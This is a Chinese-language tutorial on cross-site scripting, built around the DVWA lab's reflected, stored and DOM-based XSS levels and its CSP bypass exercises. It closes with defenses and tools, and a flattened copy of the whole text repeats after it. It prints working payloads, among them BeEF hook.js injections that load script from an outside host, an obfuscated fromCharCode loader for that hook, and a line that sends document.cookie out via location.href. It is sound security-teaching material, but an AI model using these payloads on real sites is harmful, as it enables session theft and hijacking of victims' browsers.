二进制选手的web安全之路(0x1) : XSS跨站脚本攻击
字数 2215 2025-08-10 12:18:03

XSS跨站脚本攻击全面解析

1. XSS基础概念

XSS (Cross-Site Scripting) 指Web应用代码注入,攻击者向Web页面插入恶意Script代码(如JavaScript脚本、CSS等)。用户浏览该页面时会执行其中嵌入的Script代码,从而可能导致:

  • 获取cookie、session、token等敏感信息
  • 对用户进行钓鱼欺诈
  • 执行任意客户端脚本操作

2. XSS类型分类

2.1 反射型XSS(非持久性XSS)

特点:

  • 恶意代码不保存到目标网站
  • 将恶意代码放在请求的响应结果中
  • 浏览器解析后触发XSS
  • 一般需要引诱用户点击恶意链接

DVWA示例分析:

Low级别

<?php
if(array_key_exists("name", $_GET) && $_GET['name'] != NULL) {
    echo '<pre>Hello ' . $_GET['name'] . '</pre>';
}
?>

攻击方式:

http://127.0.0.1/DVWA/vulnerabilities/xss_r/?name=<script>alert("hello")</script>

BeEF利用:

<script src="http://192.168.152.128:3000/hook.js"></script>

Medium级别

<?php
$name = str_replace('<script>', '', $_GET['name']); // 区分大小写
echo "<pre>Hello {$name}</pre>";
?>

绕过方式:大小写变异

<Script src="http://192.168.152.128:3000/hook.js"></Script>

High级别

<?php
$name = preg_replace('/<s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET['name']);
echo "<pre>Hello {$name}</pre>";
?>

绕过方式:使用String.fromCharCode编码


2.2 存储型XSS

特点:

  • 恶意代码被保留在目标网站中
  • 受害者浏览包含此恶意代码的网站就会执行
  • 常见于个人信息、留言、评论、博客等交互处

DVWA示例分析:

Low级别

<?php
$message = trim($_POST['mtxMessage']);
$name = trim($_POST['txtName']);
$message = stripslashes($message);
$message = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message);
$name = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name);
$query = "INSERT INTO guestbook (comment, name) VALUES ('$message', '$name')";
?>

攻击方式:

<script src="http://192.168.152.128:3000/hook.js">

Medium级别

<?php
$message = strip_tags(addslashes($message));
$message = htmlspecialchars($message);
$name = str_replace('<script>', '', $name);
?>

绕过方式:双写绕过

<scrip<script>t>http://192.168.152.128:3000/hook.js</scrip<script>t>

High级别

<?php
$name = preg_replace('/<s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name);
?>

绕过方式:同反射型High级别,使用String.fromCharCode编码

2.3 DOM型XSS

特点:

  • 通过前端JS渲染完成数据交互
  • '#'后面的内容不会发送到服务器
  • 不经过服务器过滤器
  • 与反射型、存储型的区别在于不与服务器交互

DVWA示例分析:

Low级别

<?php # No protections, anything goes ?>

攻击方式:

http://127.0.0.1/DVWA/vulnerabilities/xss_d/?default=<script src="http://192.168.152.128:3000/hook.js"></script>

Medium级别

<?php
if(stripos($default, "<script") !== false) {
    header("location: ?default=English");
    exit;
}
?>

绕过方式:更换闭合方式

</option></select><iframe onload="eval('var s=document.createElement(String.fromCharCode(115,99,114,105,112,116));s.src=String.fromCharCode(104,116,116,112,58,47,47,49,57,50,46,49,54,56,46,49,53,50,46,49,50,56,58,51,48,48,48,47,104,111,111,107,46,106,115);document.head.appendChild(s);')">

High级别

<?php
switch($_GET['default']) {
    case "French":
    case "English":
    case "German":
    case "Spanish":
        break;
    default:
        header("location: ?default=English");
        exit;
}
?>

绕过方式:使用#本地解析

?default=English#<script src="http://192.168.152.128:3000/hook.js"></script>

3. CSP内容安全策略

CSP(Content Security Policy)是网页应用中常见的安全保护机制,采取白名单制度,告诉客户端哪些外部资源可以加载和执行。

3.1 CSP设置方式

HTTP消息头设置:

Content-Security-Policy: default-src 'self'; script-src 'self' allowed.com; img-src 'self' allowed.com; style-src 'self';

HTML Meta标签设置:

<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">

3.2 CSP指令列表

指令 说明
script-src 外部脚本
style-src 样式表
img-src 图像
media-src 媒体文件(音频和视频)
font-src 字体文件
object-src 插件(如Flash)
child-src 框架
frame-ancestors 嵌入的外部资源
connect-src HTTP连接(XHR, WebSockets等)
worker-src worker脚本
manifest-src manifest文件
default-src 默认配置
frame-ancestors 限制嵌入框架的网页
base-uri 限制<base#href>
form-action 限制<form#action>
block-all-mixed-content HTTPS网页不得加载HTTP资源
upgrade-insecure-requests 自动将HTTP链接换成HTTPS
plugin-types 限制可以使用的插件格式
sandbox 浏览器行为的限制

3.3 CSP指令值

  • *: 允许任何URL资源
  • self: 仅允许同源资源
  • data: 仅允许数据模式(如Base64编码图片)
  • none: 不允许任何资源
  • unsafe-inline: 允许使用内联资源(不推荐)
  • nonce: 使用一次性加密字符定义可执行的内联js脚本

3.4 CSP绕过技术

location.href绕过

<script>location.href="http://127.0.0.1"+document.cookie;</script>

DVWA CSP绕过示例

Low级别

$headerCSP = "Content-Security-Policy: script-src 'self' https://pastebin.com hastebin.com www.toptal.com example.com code.jquery.com https://ssl.google-analytics.com";

攻击方式:

  1. 在白名单网站(如pastebin.com)创建JS代码
  2. 输入链接如:https://pastebin.com/raw/Qp0pTUvF

Medium级别

$headerCSP = "Content-Security-Policy: script-src 'self' 'unsafe-inline' 'nonce-TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=';";

攻击方式:

<script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">alert("XSS")</script>

High级别

$headerCSP = "Content-Security-Policy: script-src 'self';";

攻击方式:利用JSONP回调

<script src="source/jsonp.php?callback=alert('xss');"></script>

4. XSS防御措施

  1. 输入过滤:对用户输入进行严格过滤
  2. 输出编码:对输出到页面的内容进行HTML编码
  3. 使用CSP策略:合理配置内容安全策略
  4. HttpOnly标志:设置cookie的HttpOnly属性
  5. 使用现代框架:如React、Vue等自带XSS防护
  6. 定期安全测试:进行XSS漏洞扫描和渗透测试

5. 高级绕过技术

  1. HTML事件属性:onerror, onload, onmouseover
  2. SVG标签:<svg onload="alert(1)">
  3. 编码绕过:HTML实体编码、URL编码、Unicode编码等
  4. 动态构造:使用String.fromCharCode等动态构造字符串
  5. 协议限定绕过:javascript:alert(1)

6. 实战工具

  1. BeEF (Browser Exploitation Framework):用于XSS攻击后的浏览器控制
  2. XSS Hunter:自动化XSS漏洞检测工具
  3. Burp Suite:用于测试和发现XSS漏洞
  4. OWASP ZAP:集成XSS扫描功能的安全测试工具

通过全面理解XSS攻击原理、类型、绕过技术和防御措施,可以更好地保护Web应用安全,同时也能更有效地进行安全测试和漏洞挖掘。

XSS跨站脚本攻击全面解析 1. XSS基础概念 XSS (Cross-Site Scripting) 指Web应用代码注入,攻击者向Web页面插入恶意Script代码(如JavaScript脚本、CSS等)。用户浏览该页面时会执行其中嵌入的Script代码,从而可能导致: 获取cookie、session、token等敏感信息 对用户进行钓鱼欺诈 执行任意客户端脚本操作 2. XSS类型分类 2.1 反射型XSS(非持久性XSS) 特点: 恶意代码不保存到目标网站 将恶意代码放在请求的响应结果中 浏览器解析后触发XSS 一般需要引诱用户点击恶意链接 DVWA示例分析: Low级别 攻击方式: BeEF利用: Medium级别 绕过方式:大小写变异 High级别 绕过方式:使用String.fromCharCode编码 2.2 存储型XSS 特点: 恶意代码被保留在目标网站中 受害者浏览包含此恶意代码的网站就会执行 常见于个人信息、留言、评论、博客等交互处 DVWA示例分析: Low级别 攻击方式: Medium级别 绕过方式:双写绕过 High级别 绕过方式:同反射型High级别,使用String.fromCharCode编码 2.3 DOM型XSS 特点: 通过前端JS渲染完成数据交互 '#'后面的内容不会发送到服务器 不经过服务器过滤器 与反射型、存储型的区别在于不与服务器交互 DVWA示例分析: Low级别 攻击方式: Medium级别 绕过方式:更换闭合方式 High级别 绕过方式:使用#本地解析 3. CSP内容安全策略 CSP(Content Security Policy)是网页应用中常见的安全保护机制,采取白名单制度,告诉客户端哪些外部资源可以加载和执行。 3.1 CSP设置方式 HTTP消息头设置: HTML Meta标签设置: 3.2 CSP指令列表 | 指令 | 说明 | |------|------| | script-src | 外部脚本 | | style-src | 样式表 | | img-src | 图像 | | media-src | 媒体文件(音频和视频) | | font-src | 字体文件 | | object-src | 插件(如Flash) | | child-src | 框架 | | frame-ancestors | 嵌入的外部资源 | | connect-src | HTTP连接(XHR, WebSockets等) | | worker-src | worker脚本 | | manifest-src | manifest文件 | | default-src | 默认配置 | | frame-ancestors | 限制嵌入框架的网页 | | base-uri | 限制 <base#href> | | form-action | 限制 <form#action> | | block-all-mixed-content | HTTPS网页不得加载HTTP资源 | | upgrade-insecure-requests | 自动将HTTP链接换成HTTPS | | plugin-types | 限制可以使用的插件格式 | | sandbox | 浏览器行为的限制 | 3.3 CSP指令值 * : 允许任何URL资源 self : 仅允许同源资源 data : 仅允许数据模式(如Base64编码图片) none : 不允许任何资源 unsafe-inline : 允许使用内联资源(不推荐) nonce : 使用一次性加密字符定义可执行的内联js脚本 3.4 CSP绕过技术 location.href绕过 DVWA CSP绕过示例 Low级别 攻击方式: 在白名单网站(如pastebin.com)创建JS代码 输入链接如:https://pastebin.com/raw/Qp0pTUvF Medium级别 攻击方式: High级别 攻击方式:利用JSONP回调 4. XSS防御措施 输入过滤:对用户输入进行严格过滤 输出编码:对输出到页面的内容进行HTML编码 使用CSP策略:合理配置内容安全策略 HttpOnly标志:设置cookie的HttpOnly属性 使用现代框架:如React、Vue等自带XSS防护 定期安全测试:进行XSS漏洞扫描和渗透测试 5. 高级绕过技术 HTML事件属性: onerror , onload , onmouseover 等 SVG标签: <svg onload="alert(1)"> 编码绕过:HTML实体编码、URL编码、Unicode编码等 动态构造:使用 String.fromCharCode 等动态构造字符串 协议限定绕过: javascript:alert(1) 等 6. 实战工具 BeEF (Browser Exploitation Framework):用于XSS攻击后的浏览器控制 XSS Hunter:自动化XSS漏洞检测工具 Burp Suite:用于测试和发现XSS漏洞 OWASP ZAP:集成XSS扫描功能的安全测试工具 通过全面理解XSS攻击原理、类型、绕过技术和防御措施,可以更好地保护Web应用安全,同时也能更有效地进行安全测试和漏洞挖掘。